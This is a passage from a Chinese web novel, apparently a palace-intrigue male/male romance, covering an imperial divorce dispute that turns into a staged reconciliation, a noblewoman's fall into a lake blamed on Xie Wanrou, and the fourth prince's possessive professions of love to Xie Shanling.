说着想起了曾经潘家构陷谢善淩,自己确实没能保护好儿子,令他后来遭遇种种不好的事,不由眼中一酸,急忙忍住泪水。 谢善淩亦是眼中酸楚,许久才道:“不是……” …… 翌日大清早,谢善淩去上朝了,佘郡主则递牌子请求入宫面圣。 昨夜谢府动静不算小,皇帝其实已经知道她是为了什么,十分不想见,却还是见了。还带上了据说半夜冲去酒楼喝到上朝时分醉醺醺来的废物老大。 原本他还想带上谢善淩的,可到底亲疏有别,再不好的儿子也比外人好,他一瞅见这蓝颜祸水就来气。 甚至还不是个女人,要是个女人他就自己纳为妃子,让老大和老四没得抢!都清净! 下朝后,领着人去见佘郡主的路上,皇帝骂了一路。老大只是低着头一副蔫蔫的样儿,叫皇帝越看越气。 皇帝突的停下脚步,问:“一会儿人家会说什么你心里有数,你怎么想?” 顾望笙颓然地沉默了一阵,道:“父皇,是老四和将灵太过分了。若您是我,难道能忍?可我总不能为此手足相残,也不能破坏两国和谈……” 说到此处,他举起衣袖擦拭自己的眼泪,哽咽道:“儿臣也很委屈啊。” 倒也是。 皇帝烦得很。其他人在争权夺利,这厮整天就围绕着谢善淩这点破事打转!可偏偏要论起来,确实这事儿也是真叫人生气难忍。 那老四和将灵也真是脑子有病!要么索性把谢善淩掳走得了,又不掳,不知道想做什么! 老四暂且不说,将灵…… 皇帝寻思着,一个人的脑子再如何有病,也不会真是愿意大度原谅那样坑害自己的人,还说什么一妻二夫。他才不会被表象蒙蔽。 很明显,将灵就是想报复谢善淩。如今两国和谈,谢善淩是大皇子妃,他不好下手,就来这手借刀杀人。 皇帝越想越觉得就是这么一回事。 说实在的,他都很想把谢善淩送给将灵来谋取更多利益,自己将来也耳根清净。 他这般想着,多看了老大几眼,忽的问:“知道朕怎么迟迟还不封你们其他几个王吗?” 顾望笙欲言又止,摇了摇头。 “为了等你有所建树!”皇帝一副恨铁不成钢的样子,“当日让你去浔阳,原指望你做出点成绩,朕也好封赏你,谁料你非但寸功未立,反倒惹了一堆祸。封老二那是不得已,为了稳住豲戎。可为了你,朕拖住了老四也迟迟没封,也不知道你能不能明白朕的一番苦心!” 顾望笙一脸惊愕模样,渐渐感动起来:“父皇……” 见他真信了,皇帝心中得意起来,语气也柔和许多,拍着他的肩膀语重心长地暗示:“你到底是朕的嫡长子……朕对你寄予厚望啊!” 顾望笙越发错愕,讪讪道:“儿臣何德何能……不敢妄想……” 皇帝越说越显得情真意切:“朕算是看明白了,唯独器重你,将来才能保全你的兄弟姐妹们。” “父皇,这……”顾望笙神情慌乱,却又隐隐有几分窃喜。 皇帝全看在眼中,心中暗道,这就是了,谁能抵挡得住来自至高权位的诱惑呢?以往顾望笙不争不抢,无非是有些自知之明,觉得抢不过罢了。 “不过,你这男妻实在是一大阻碍啊……”他再度暗示。 顾望笙的脸瞬时白了,十分煎熬犹豫:“可是我、儿臣……” 皇帝并不急在这一刻,收回了视线。 * 皇帝让顾望笙跟着一起进殿去和佘郡主谈。佘郡主见着大皇子也来了,有些尴尬,可还是硬着头皮委婉地告状,以二人性情不合为由请求让两人和离。 这可太中皇帝下怀了。但他只是先让顾望笙自己回应。 自刚刚他暗示了属意太子之位后,顾望笙一路怔怔出神,心不在焉,很显然是在犹豫摇摆。 此时也不像以往那般对待谢善淩的母亲殷勤卑微,斟酌一番,也有些忿忿地沉声道:“我昨夜确实没打谢善淩,只是敲打他一番,谁料他倒先动起手来,还将事情闹得这样大……恐怕是因为将灵死而复生,还登门说不会记仇,如此深情缱绻,呵呵,他果然心动,找我茬儿呢。” 佘郡主虽不觉得儿子是这样的人,可其实她细想了一晚,实在也是没想出为何儿子突然编谎话诬陷大皇子。 将灵在谢府门口说的那一堆屁话她倒是知道,门房当时躲在屋内都听到了。 难道善淩真的是对将灵…… 当年谢善淩与将灵的亲热她是亲眼见过的,与谢善淩和四皇子之间一盆温水似的不同,那两人有着少年人的如火激情。 而后来将灵这样精明的人物竟能被谢善淩诓骗到放下一切私奔并毫无防备被他一剑刺穿,难道谢善淩真没有半分动容吗? 然而她肯定不能承认,而且就算昨夜大皇子没动手,也暴露了人前一套人后一套的真性情,难保今后会不会动手。 她悻悻然道:“既然大殿下总在心中疑他,如此离心离德,不如索性和离算了。善淩自幼没有父亲,我一介妇人独自抚育他,养得他有些骄纵,本就不适合嫁入天家,只因大殿下执意履行婚约才……如今闹成这样就没有必要了。” 大殿下闻言不由冷笑出声,嘲讽道:“郡主都说到这份上了,当着父皇的面,我也不得不直言了。如今我不和离是看在夫妻一场的份上,留着最后的体面,否则旁人倒不会说我,他们如何非议谢善淩就不一定了。” “……多谢大殿下。”他这话令原本自觉有些理亏的佘郡主此刻也不由得愠怒起来,“既如此,也就不敢有劳大殿下。” 大殿下一甩衣袖,生气地别过头去不理她。 两边僵持一阵,皇帝默默看清了形势,暗暗在心中得意一笑,面上却越发关怀:“就算没有这桩姻亲,本也不是两家人,何必说这话……不如将思玄叫来,一同商议个结果,不然总这么着也不是个事儿。” 佘郡主下意识想拒绝,顾望笙先开口,道:“谢善淩嚣张跋扈,目中无人,时常不将儿臣放在眼中,恐怕他来了会冒犯父皇。” 佘郡主不可思议地看他。这还没离呢,在他嘴里谢善淩就已经这般不堪了?以往那百般回护仿佛是一场梦似的!那看来是真得离了。 皇帝越发放心,摆摆手,假惺惺地朝佘郡主安抚道:“你别放在心上,年轻夫妻吵起架来是这样没轻没重的。叫思玄来吧,话总要说清楚。” 皇帝铁了心,问那两人只是做做样子,见他俩反对,就自己做主了。 不多久,谢善淩就来了。他一进来听完皇帝添油加醋的讲述,原本就低落的神色越发低落,看向顾望笙,眼中似在质问,又似不甘。 良久,他声中含泣,越发挺直脊梁,讽笑道:“呵!大殿下不明是非,欺软怕硬,倒是惯会人前人后两套脸色。” 顾望笙慌急地看了眼皇帝的脸色,匆匆呵斥:“谢善淩你别瞎说!” “事到如今我也没什么好话能说。”谢善淩冷笑,“流连南风馆的又不是我!” 顾望笙:“……” 第87章 ◎是谢婉柔将王妃推入湖中的!◎ 佘郡主自是不知道这种地方, 但听着就不像好地方,微微蹙眉问:“这难道是……” 谢善淩尴尬解释:“好男色的人去的地方。” 佘郡主恍然大怒,瞪向顾望笙:“你——你——” 若非还记得眼前人是大皇子,她都想直接动手了! 皇帝嘴角一抽, 欲言又止。顾望笙有时候是会去南风馆转转, 过夜的时候也有, 这一般人不知道,防着几个成年皇子的他肯定知道, 暗中都有人盯着。 ……但他以为谢善淩不知道! 这下子被谢善淩说出来,皇帝也尴尬起来。原本老大占理比较多, 这一下形势逆转,教子无方的成了自己。 老大恼羞成怒, 倒打一耙:“那会儿也不知道你是惦记着老四还是将灵,不让我碰——” “顾望笙!”谢善淩怒吼制止他口出污言秽语,担忧地看了眼母亲。 佘郡主已经受够了这一切, 脸色铁青,咬着牙道:“不用再说了。”她朝皇帝跪下,“请陛下下旨让善淩和大皇子殿下和离。” “母亲……” 谢善淩却又似乎不愿起来, 面露犹豫, 佘郡主没看见,皇帝看得一清二楚。谢善淩虽然爱闹,却好像并不是真心想离。 顾望笙却已经被完全激怒,再度拂袖,道:“好好好,我还为你着想, 你却毫不领情, 那我也就不必顾念这点子夫妻情分了。离就离。” “你——”谢善淩瞬间面色如纸, 颤抖着身子看着他,竟露出了皇帝难得一见的软弱之态,“你……” 有点意思……怎么变成谢善淩不舍得了?皇帝虽然有点没弄明白,但看得津津有味。这老大总能给平淡的日子带来点乐趣。 接下来又是一番纠缠,最终谈无可谈,两人都怨恨对方给自己戴绿帽子,这事儿皇帝寻思着也确实是忍不了。 “那就离吧。”皇帝和煦地对佘郡主道,“别结亲家结出仇来了。” 佘郡主还没说话,谢善淩梗着脖子道:“臣遵旨!” 顾望笙冷笑:“儿臣也遵旨!” 佘郡主:“……臣妇也遵旨!” 好好好,都遵旨好啊!皇帝大喜,生怕他们反悔,当即就令两人当自己面写和离书。 可是两人拿到纸笔,双双僵住。半晌,顾望笙狠心正要下笔,谢善淩突的扔开笔,踉跄着跑过来抱住他哭。 顾望笙愣了愣,渐渐眼睛也湿润了,僵站一阵,忍不住颤抖着手抚摸他的脸。 皇帝:“……” 佘郡主:“……” 他俩都看呆了。 “你我夫妻一载,原来你竟没有一刻是信我的……”谢善淩哭得梨花带雨,顾望笙心如刀绞道:“岂是如此……你……我……我……唉!你别哭了,是我不好,我……我……” 说着,不由得看向皇帝,眼中满是挣扎。 皇帝知道他在挣扎什么。这小子对谢善淩分明真有情,往日也不是装的,只是如今太子之位这么大的诱惑悬在眼前,谁又能不心动呢? 看谢善淩这副样子,皇帝心中亦是畅快。 谢善淩哭了一阵,问:“你难道真要离了我?那你就是要陷我于死地!旁人会如何议论我?他们必然会想到将灵的头上去,当日潘家诬陷我通敌叛国,如今将灵竟没死,他们更会坐实!我又与你在此刻和离……” 他松开顾望笙,脸上挂着泪,神情却决绝起来:“若如此,我不如此刻一头撞死,也留个清白!” 说罢,扭头就朝大柱子狠狠撞去。 佘郡主险些昏厥过去:“善淩!!!” 顾望笙眼疾手快将他拉住,喝道:“你干什么!不是你闹着要离吗?!” 谢善淩一阵捶他胸口,泣不成声:“分明是你先……你总为外人的话质疑我……我就想吓吓你,你却顺势真要离……以往都是骗我的!你还管我死活干什么?若离了,我未来比死都难过。” “你……善淩……”顾望笙不由得也落下泪来,将他紧紧抱在怀中,“是我错了,我不该赌气。可也怪老四和将灵故意挑拨。” “四皇子和将灵挑拨你就信,你还是不爱我。”谢善淩哭道。 “胡说什么,”顾望笙抚摸着他的脸,柔情道,“正是爱你,所以才那样恼怒失了理智。” 皇帝:“……” 佘郡主:“……” 皇帝都怕他俩当自己面亲起来!那可真是太恶心了。赶紧咳嗽。咳嗽了好几声,他们才听见,相互依靠着抱着,双双一脸惶恐看过来,仿佛皇帝是要强拆一桩婚的恶霸。 ……虽然确实是挺想拆。可此刻不知从何入手。 总之就是一通闹,谢善淩的意思是敢离他就敢死,顾望笙的意思是谢善淩死了他立马殉情,皇帝虽很想说一句你俩现在就死给朕看,可碍于佘郡主还在一旁虎视眈眈盯着,到底不好说这话,只得怒骂了几句胡闹就让他们走了。 走之前顾望笙还搂着仍旧哭个不停的谢善淩朝皇帝道:“父皇管不了将灵也管管老四吧!别人看了笑话儿臣儿臣也就忍了,可笑的是皇室乃至于父皇啊!” 皇帝摆摆手,不耐烦道:“去吧,有你朕已经够被笑话的了……朕会处置。” 从皇帝那出来,佘郡主一路绷着脸没说话,谢善淩和顾望笙走在她后头,到她出了宫门上轿时,两人这才分开,殷勤地上前服侍她。 她左右看看,重重地叹了一口气。 顾望笙急忙保证:“其实都是误会……日后我再不敢犯浑!” 谢善淩讪讪道:“母亲,大殿下对我一向很好,昨日他是被那两人气坏了,母亲知道我犟起来说话刺人,把他给刺着了……” 岂止刺着了,脸上挠成那样,谁都看得见。 不过那南风馆……佘郡主欲言又止,谢善淩猜出她的意思,低声道:“回府再向您解释。” 佘郡主听他这言外之意是另有内情。 再一细想,以儿子的性情,若他早就知道大皇子真是去南风馆做不轨之事,恐怕怎么也忍不到现在。这才面色稍缓,没好气地一人白一眼,进轿去了。 * “可恶!!”潘成栋用力拍桌子,大声宣泄忿忿不甘。 顾裕骐垂眸喝茶,没说话。 大皇子夫妻大吵到要离,又到抱头痛哭,一个要以死明志,一个要殉情的事儿“不胫而走”,成为京城人茶余饭后的热点谈资,毕竟这是真热闹。 关于事情的起承转合,坊间说得十分详尽,仿佛身临其境。 潘家原本让人去宣扬谢善淩当年根本就是冒功,实则就是里通将灵,因而将灵可以死而复生……之说,也统统被人打成了将灵的离间计。 反而被刻意处理数年的豲戎数百暗探深入京城各处、被那时尚未出仕的谢善淩机巧拔除的事迹,得以大肆宣扬。 这一下子什么都说得通了! 为何谢善淩曾与将灵有所谓私奔,为何谢善淩被说通敌豲戎时朝廷并未处置他,为何将灵如今要陷害他…… 戏院更是给火上浇油,紧急编排这出爱恨情仇,将谢善淩塑造成了一个身负绝世大冤的忠臣良士,将灵和潘家自然就是其中的大反派。 不止将谢善淩捧高,还给潘家惹来不少非议,当年潘成栋那案又被扯了出来。 皇帝倒不在意那些,他在意的是经由此事,原本对于两国结盟不关己事的京城百姓中隐约有了不少议论反对之声。 反对的原因五花八门,有的是说豲戎狼子野心不死,有的由将灵记仇谢善淩延伸到豲戎记与大梁无数次大小之战的仇。 有的则是因为豲戎王子居然意图插足我们大皇子和大皇子妃之间,这不就是要给大皇子戴绿帽吗? 大梁人也就罢了,譬如四……咳,敌国王子给大皇子戴绿帽,这岂不是大梁百姓集体戴绿帽?? 皇帝对于这些议论十分反感,勒令东厂赶紧去压下。 然而舆论一旦发酵传播,就算明面上严禁谈论,又哪能时时刻刻在每个人身边都盯紧了。 顾裕骐冷眼看着潘成栋面目狰狞地在那狂骂不休,等他累了坐下直喘气时才缓缓开口。 “谢善淩原本就仇视豲戎,何况如今他与秦青勾结,必定更不愿见大梁与豲戎结盟,会想出各种法子煽动民意是必然的,不必如此动怒。你还是先盯紧了这些时日从南边来京城的人吧。” 这些时日陆续有自称逃战乱来投奔亲戚的南方人。投奔也就罢了,说了许多含糊却又着实不利于朝廷的话。 虽然东厂以叛军奸细名义抓了几个以儆效尤,却也因此引发了民愤,反倒将他们口中酷吏一说坐实了给京城百姓看。 潘成栋气急了口不择言:“恶心!有什么就真刀真枪地干呗,却只敢弄些这小伎俩……” 顾裕骐看他跟看头猪没什么两样,半晌,正要开口,突然屋外传来急报:“王爷,王妃出事了!” 顾裕骐还未反应,潘成栋急急忙忙过去拉开门问:“怎么了?!” 那人道:“王妃在瑰阳公主的后花园中落湖了,此时虽已被救出,却昏迷不醒,腹中胎儿……” 潘成栋一把揪住他的衣领怒斥道:“怎会突然落湖?!” 顾裕骐慢条斯理地端起茶碗继续喝。 他不怕潘成栋看到自己这副不关心的样子,与潘凤的婚姻原本两方都心知肚明。他愿意成全潘家的体面,潘家反倒应该感激他。潘凤肚子里那个孽种,潘家不敢奢望他会真心相待。 “是……是谢府的……谢二小姐!是谢二小姐将王妃推入湖中的!” 顾裕骐的手一顿,睫毛倏然一颤,目光如淬毒的利箭般射向那人。 第88章 ◎继续潘凤疑似被推落水一案。◎ 谢善淩原本在礼部行事, 突然家中小厮急找,匆匆说了来龙去脉。 瑰阳公主是今上的亲姑姑,这些年圣眷还算不错。丈夫早逝,膝下独女远嫁, 她平素好热闹, 常办聚会邀京中贵眷。 谢婉柔自幼乖巧, 擅诗书、刺绣与佛谈,长得一等一的清隽秀气, 瑰阳公主十分喜爱她,在她幼时常接去公主府小住, 后来大了,不便的地方多了才作罢。 今日是瑰阳公主小寿, 她早就发帖子到谢府,谢婉柔不好推辞,只能去。 这一去, 就去出了事儿。 午后瑰阳公主回屋小歇,贵眷中累的去客房也歇歇,不累的便在府中后院自主游玩聚会, 这是常例。 谢婉柔强颜欢笑了一上午, 此刻独自寻了个僻静无人处,凭栏痴望着水中荷叶浮萍下游梭的锦鲤出神。 丫鬟净云在旁看着,一面疼惜,一面在心中骂那可恶的潘王妃。 小姐久未出门,今日来见瑰阳公主是真心高兴的,晨起梳妆时还自己挑了头饰精心妆扮, 将要送的鹤伴观音赐寿双面绣再三检查。 来到公主府呈献寿礼后, 公主极为喜欢, 叫人凑到一块细看,一时间交口称赞,有请教于小姐的,小姐细心地讲解,脸上都多出了许多神采。 谁料此时那潘王妃竟厚着脸皮不告自来! 公主都有几分诧异,显然根本没请她,可人都来了,总不好赶出去。 只是原本温馨热闹的场面就冷了下来。都不待见这姓潘的。 潘凤没出阁时就爱搅弄是非,拉拢与她臭味相投的来挤兑别人,今日公主没请她那一棒子性情不好的同伴,她独自前来,竟还是很嚣张,三句话不离她洋洋得意的楚王妃身份。 原本当个乐子看也就罢了,潘凤却像有狗病似的,疯狂出言挑衅谢婉柔。 以前她也为难谢婉柔,但没这么明显针对。 不过众人很快就想出了理由:楚王和她成亲那日,迎亲路上谢婉柔她堂兄谢善淩为了与潘凤她哥的恩怨闹了一场。大概是为这吧。 这就也不好说什么了。 众女便只是低声安抚谢婉柔,让她别跟潘凤一般见识。 最后是瑰阳公主出面制止,潘凤才暂且罢了,说累了要歇会儿,公主只得给她安排客房去歇。 后来,谢婉柔独处发呆,突然公主府的丫鬟来寻她,说公主见她今日兴致不高,又见她被潘王妃刁难,便想私下里和她聊聊。 谢婉柔不疑有他,起身跟去。 净云跟到半路,突然被人从身后一棍子打晕。 待她被喧闹声吵醒,发现自己被随意扔在了花园某处。她心知不妙,匆匆循声赶去,潘王妃已经落水,身边的丫鬟拉着小姐说是小姐推的。 * 谢善淩来到公主府大门口,与同样赶来的顾裕骐和潘成栋撞了个正着。 六目相对,潘成栋首先发难,狠道:“谢善淩,今日这事我与你没完!” 谢善淩冷笑着反唇相讥:“这话还轮不到你说。” 话音未落,顾裕骐脸色铁青从他俩中间穿过,一个都没多看一眼。 谢善淩赶紧转身跟上去。 潘成栋快走几步追上,从身后朝谢善淩伸胳膊要动手,却被刚刚去报信的谢家小厮使劲拧住胳膊拽开。 潘成栋回头一看,吃痛怒骂:“你他娘的什么东西也敢这么对我?谢家真是要反!” 小厮梗着脖子一脸无畏:“我身为家奴,若少爷在我面前被人所伤,我有死而已!” “……”谢家都是些什么东西! 眼下没空跟这人计较,潘成栋瞪他一眼,转身急忙追去。 几人脚下生风来到客室,瑰阳公主也在,正沉着地指挥着。 内屋传来潘凤的惨叫声和浓郁的血腥气味,丫鬟们端着一盆盆清澈的热水进去,端着一盆盆染红了的血水出来。 就算对方是潘凤,见此惨况谢善淩也不由得心中一颤。 旋即想到无辜的堂妹,他急忙转头寻找,很快见到了脸色苍白站在角落的她。 谢善淩正要过去,眼前一晃,高挑的身影三步并作两步地先到了她面前。 顾裕骐定定看着谢婉柔,尽力放柔声音,但又不至于让旁人觉察出别样的情愫,低声安抚道:“别担心,不关你的事,本王保你无事。” 谢婉柔怔怔地抬眼看他,嘴唇嗫嚅着刚要说话,顾裕骐被人从身后推开。他不悦地厉目瞪去,对上了动手的谢善淩那冷漠与警告的目光。 “……” 顾裕骐默默收回视线,不再瞪。 谢善淩白他一眼,转而放柔神色朝堂妹道:“不必害怕,堂兄在此,没人能陷害你。” “谢善淩你什么意思!” 不远处的潘成栋闻听此言,暴怒地挥舞着拳头就要冲过来动手,却被顾裕骐牢牢地扣住了手腕命门,令他动弹不得。 顾裕骐的语气十分冰冷:“你的当务之急是去看顾你妹妹。此事与谢二小姐无关。” 潘成栋正要质问他,却在触及他那如同要噬人一般的黑沉目光时心虚起来,犹豫了下,恨恨咬牙,转身去张望屋里,呵斥着久久没个好消息传出来的稳婆和医女。 “安静!”瑰阳公主忍无可忍地呵斥他。 他这才勉强安分下来,只是时不时向谢婉柔所在的角落投来怨毒的目光。不止是对谢婉柔,当然也有谢善淩,但……也暗暗地包括顾裕骐。 此事他心中其实有数。顾裕骐和这谢婉柔有私情! 这还是四皇子提点的。 潘家早先有意襄助四皇子,毕竟四皇子早早就主动抛来了橄榄枝。 然而他不愿意娶潘凤,遑论将来立后。他的意思是,别的利益可以谈,这个不能谈。 这个都不能谈,别的还指望什么? 当时潘家就不高兴,但没撕破脸,尚在拉扯间,二皇子说他愿意娶,将来还会立后。其他的利益则更是可以谈。而且还有豲戎作为二皇子的后盾。 何况,此一时彼一时。 二皇子说的这会儿,潘凤和府中车夫珠胎暗结,潘家秘密打死车夫,正急于将她嫁出去。 原本想着实在不行就随便找个小官小吏算了,谁料峰回路转,二皇子竟坦言成大事者不拘小节,愿意接纳这个孩子。 潘国梁一番思忖,在家人的劝说下,最终答应了。 四皇子听闻风声,告诉他们二皇子与谢婉柔的关系,也说出了谢婉柔南下千里寻人的事。可当他们再次问四皇子愿不愿意娶潘凤,四皇子仍不愿意。 那他们就只好继续撮合二皇子和潘凤了。至于谢婉柔,呵呵,男人婚前有个风流韵事也没什么。 虽然迎亲那日闹了不愉快,可回门日潘凤满面春风,说楚王对她很敬重疼惜,允诺往事不究。 至于肚中胎儿…… 先前潘凤还赌气闹着非要生,和楚王成亲后倒是改了想法,先说生下来后搁在哥哥名下当潘家人养,后说送给穷亲戚,再后说送农户,再后说随便扔了也行,最后她让兄长去打听打听不伤身的打胎之法。 她喜欢上了楚王。 不伤身的打胎之法没有寻到,反倒让楚王得知了她的想法,一通宽慰,让她生下来送人就好,对外就谎称是出了意外早夭。 潘凤越发对看似阴郁、实则竟如此温柔体贴的外貌美艳的他痴迷起来。 也就越发的妒恨谢婉柔。 楚王虽待她温柔敬重,却从不肯留宿房中,若说是顾念她的身孕,却连拥抱和亲吻也没有!想必是心中还惦记着那狐狸精! 潘凤和兄长说过此事,因而如今潘成栋其实也觉得是潘凤在设局陷害谢婉柔……反正那孩子她自己也不想要了,用这个由头栽赃给谢婉柔,一石二鸟。 妹妹已经将戏开场,做哥哥的当然是要配合。 * 潘凤最终还是醒了过来,不过孩子没了,大冬天落水的她伤到了根本,大夫说日后恐难再有孕,还会落下病根从此虚弱。 潘凤大闹起来,要谢婉柔赔命。 然而楚王将她关在了王府深院,不许她出门,能进出的人极少,就连潘家人也不让来看望。 潘家有怨,向楚王索要说法,楚王脸色难看,反而责怪他们:“潘凤在公主府惹出那样的风波来,本王的脸被她丢尽了,你们还想她继续胡闹?” “分明是谢婉柔……” “住口!”楚王喝道,“被潘凤收买诓骗谢小姐的公主府婢女早已招供,本王为了你们和王府的体面才压下此事,你们还想怎样?” 然而在潘家人看来,说一千道一万,再如何冠冕堂皇,跟谁不知道他是为了维护谢婉柔似的! 潘家人索性去皇帝面前告状。 皇帝最近正跟将灵拉扯结盟细则,将灵精得跟猴儿似的,他本就头疼着,一听又是这档子破事儿,烦都要烦死他们了,大发了一通雷霆,也不知道究竟是对谁发的,全都骂了,看起来和此事毫无关系的老大老三和老四也叫进宫来一起骂,骂他们没一个能替自己分忧的。 老大、老二和老四都不语,老三满脸茫然和不服气,小声嘀咕:“我最近什么也没干啊……” 就成天在家吃了睡睡了吃,将在黔阳亏掉的肉补回来…… 皇帝本来已经骂累了,闻言再度咆哮。 “就是因为你什么都干不了!全都是朕在干!朕都这岁数了还不能安享晚年,就是因为你们不是废物就是心眼子多得跟筛子似的!啊!” 老三将头垂到胸口,也不说话了,只在心里骂。平等地把老大老二老四都骂一遍。 最后皇帝下令不准软禁潘凤,同时将此事从老二管下的东厂交由偏向老四的大理寺秘密审理。 他倒要看看老四是选潘家还是谢家。 * 按理说应当将嫌疑人谢婉柔关押待审,但顾裕泽亲自来到谢府说他从中说合了,只让人暂且禁足在家。 谢家人急忙再三道谢。 顾裕泽看了眼谢善淩,很快收回目光看向谢二伯,和气道:“不必与我客气,我亦将谢二小姐当作自己的堂妹一般。” 顾望笙皮笑肉不笑:“这是自然,毕竟谢婉柔是你大嫂的堂妹,算起来确实是一家。” 顾裕泽看向他,没说话。 谢善淩微微皱眉,拽了顾望笙的衣袖一下,看神情是对他不分场合的醋意不满,却终究没说出来。 顾裕泽没有多待,走时谢二伯刚要相送,令人意想不到的声音响起:“我送吧。” 众人齐刷刷看向开口的谢善淩。 顾望笙顿时急了:“你——” 谢善淩隐忍地给他一个眼神:“如今婉柔有难,你且不要胡乱计较!” 顾望笙明显不甘愿,还想计较,一旁的谢善丰拽住他不断低声求他别捣乱,他不得不咬牙切齿地看着谢善淩单独送顾裕泽出去了。 顾裕泽刚走出屋子没几步,就听到身后传来顾望笙踹翻家具的声响。 他略停了下,故意回头去看。 谢善淩神色越发为有这样的夫君而尴尬,低声不悦地催促:“走吧,我有话和你说。” 顾裕泽收回目光,温柔地落在他脸上:“嗯。” 两人并肩走在谢府院里,夕阳洒在脚下,顾裕泽柔声道:“许久没有这样和你走在一起了。” “……一定是潘家陷害婉柔。”谢善淩不看他,有些不自然地说,“我知你怨恨我,但此事希望你护着婉柔,当我欠你一份人情。” 顾裕泽停下脚步,转头认真看他:“我不曾怨恨你,淩儿,你为何还不明白我的心意?” 谢善淩苦笑道:“不必再装,我与你来往多年,难道不知你的性情?” “你知,却不全知。”顾裕泽轻叹一声道,“旁人是旁人,我对你的心意,你是真不知道吗?你永远是我的独一无二。” 谢善淩烦恼地背过身去:“事到如今你还说这些……” “你知我平素也是不说这些的,可我若不说,你就胡乱猜测,我不得不说。潘家曾以我娶潘凤作为条件支持我,我很想要他们的助力,但仍拒绝了,我的王妃和未来的皇后都只会是你。”顾裕泽缓声深情道。 “不要说了!”谢善淩微微喘着气,一副心烦意乱的样子。 顾裕泽温柔道:“好,你不想听,我就不说了。”转而问,“他……顾裕帧,真的打你吗?” 谢善淩沉默良久。 就在顾裕泽以为他不会回答这个问题之时,谢善淩也不知是报复谁似的冷笑含恨道:“男人强|奸时动狠手、以及上了床后凌辱人的法子,你也应该想得到。你愿当成是打便是,不当便不是。” “……” 顾裕泽喉咙一阵阵发紧,望着他雪白脆弱后脖颈的目光沉沉,小腹亦有所异样。 或许谢善淩不知道说出这样的话来对另一个男人是多大的挑衅和刺激。谢善淩只想宣泄无能为力的愤怒,却不知会为他自己埋下怎样的祸根…… 差一点,顾裕泽就要细问谢善淩是如何被男人强|奸和凌辱的了。他甚至想掐着谢善淩的脖子将他按在地上问。这个天真的荡|妇。 但是他忍住了。他向来会忍。 他会忍到无需再忍的那一日。到那一日,所有的欲|望都可以肆无忌惮地喷涌而出。 顾裕泽的头有微微的晕眩,他闭上眼睛,不动声色地深呼吸平息涌动的心绪。 直到听见谢善淩问:“你又头疼了?” 他一怔,睁开眼睛对上谢善淩的视线。在谢善淩的眼中,有一抹熟悉的关切一闪而过。 下一瞬,谢善淩仿佛意识到了什么,恢复冷淡的样子,好像刚刚那只是顾裕泽的错觉。 “无妨。”顾裕泽柔声道,“如今我常年在外,很少见到母妃,头疾不似从前那样发作频繁了。当年若没有你,或许我独木难支,没有今日。所以你怎会疑心我怨恨你?即便不说我想娶你的心意,你也是我极为重要的恩人。” 谢善淩局促地往旁走了两步,咽了口唾沫,道:“别说了……” “你一直对当年男扮女装骗大皇兄婚约一事耿耿于怀,所以你嫁他的时候我没有阻止。我知道这是你的心结,你想解开,我不会因一腔私欲为难你。” 顾裕泽深情款款道,“我只是想让你知道,我不介意。我仍旧只想娶你。将来若我……我可以和你一起弥补大皇兄。” “……”谢善淩眸光复杂地看他两眼,最终只道,“别说了。你走吧。” 顾裕泽缓慢点了点头,目光贪恋地看他一阵,这才转身朝府门口走去。 “裕……” 顾裕泽猛地停住脚步,回身惊喜看他。 谢善淩却已经改了口:“四皇子。”他说,“婉柔的事……” “交给我吧。”顾裕泽温声道。 * “真是谢婉柔推我的!!”潘凤叫道。 潘成栋左右看看,此时屋内就自己和她……“不可能吧?”他迟疑道。就谢婉柔那副模样,哪干得出这事儿。 “这又没外人,就你哥我,你……” “就是谢婉柔推我!”潘凤都要崩溃了。楚王不信她也就罢了,如今连自己的亲哥哥都不信。 她指着窗外问:“若不是谢婉柔,难道是莲香吗?!” 莲香是伴她长大的心腹丫头,不太可能害她。不过话又说回来了,若是和谢婉柔一比较,莲香这丫头确实是随主的性子…… 眼见潘成栋良久欲言又止,显然还是不信,潘凤气得将枕头狠狠砸在地上,掀开被子就要下地:“我亲自去杀了谢婉——” “你不要胡闹!”潘成栋急忙制止她,“先将当日的来龙去脉和我说清楚!” 潘凤气鼓鼓坐回去,半晌才勉强冷静,说起当日情况。 “确实是我让人去诓她来,可没让人将她的丫鬟打晕。而且她来了后,我只是让莲香揪住她,我就想过去给她几个耳光,警告她不要对楚王痴心妄想!可她挣扎起来,还想叫人,混乱中突然我就受了股力道……除了她还能有谁?当时就我们三个在!” 潘成栋听完问:“混乱中会不会是莲香无意推到了你?” 潘凤怒道:“你为何总替谢婉柔说话?是不是对她有什么心思?” “我只是一问……出去了自然还是助你咬死谢婉柔。”潘成栋皱眉,“她是谢善淩的堂妹,我能对她有什么心思!巴不得谢家人都去死。” 潘凤听了这话才稍稍好一些,冷笑道:“其他人我不管,我就要谢婉柔死!” “……楚王最近还来你这吗?”潘成栋问。 潘凤没有回答,但看她越发狰狞的脸色就可想到答案。潘成栋不由叹气。 “父亲如今不在京中,他得知了此事,回信说你胡来,真是沉不住气!非得拈酸吃醋的干什么?我听闻,那谢婉柔原本已在和冯卫才议亲了,待她嫁出去,我们再想法子将冯卫才调任远走,她和殿下不就再也见不着了吗?” 潘成栋啧了一声:“如今可好,本来冯家父母就嫌谢婉柔身子不好,前段日子她离家出走的隐约传言虽像捕风捉影没有证据,他们还是越发不愿,好在冯卫才坚持,闹着要出家他们才勉强同意提亲,都已走到问名这步了,可你闹这一出……听说他爹娘死活不同意了,跟谢家说要退还庚帖。” 潘凤却得意起来:“我就是要让她成为全京城的笑话!殿下难道敢在此时将她娶回来?难道真会为了她和潘家撕破脸?若真会,那当初也就不会舍她娶我了!” 潘成栋回想起那蛇一般阴郁骇人的森森眼眸,不安地问:“若他还真敢呢……” “呵,那我就要让她见识到母亲处置那些狐狸精的手段了。”潘凤不屑道。 潘成栋的心中越发沉重,想来想去又劝了几句,却反过来被潘凤拿出谢善淩的恩怨说事儿。 鞭子不抽到自己不疼,一旦是抽到自己身上的,那就哭爹喊娘了。 潘成栋一听,也就顾不上什么谨慎了,冷道:“好!我就要让谢善淩跪着来求我!否则就等着给他堂妹往牢里送冬衣吧!” * “你觉得是顾裕泽干的?”顾望笙说着,酸溜溜道,“最近可让他逮着机会往你身边钻了……他可真会没有机会给自己制造机会。” “他就是一个没有机会给自己制造机会的人。否则怎会有今日权势?皇帝显然不希望他有出息。”谢善淩慢慢磨着墨平心静气,一面缓缓说着。 顾望笙靠在一旁窗边,手里把玩着镇纸,眼睛也看着墨砚。身后窗外正雨落潺潺,已经下了很久。 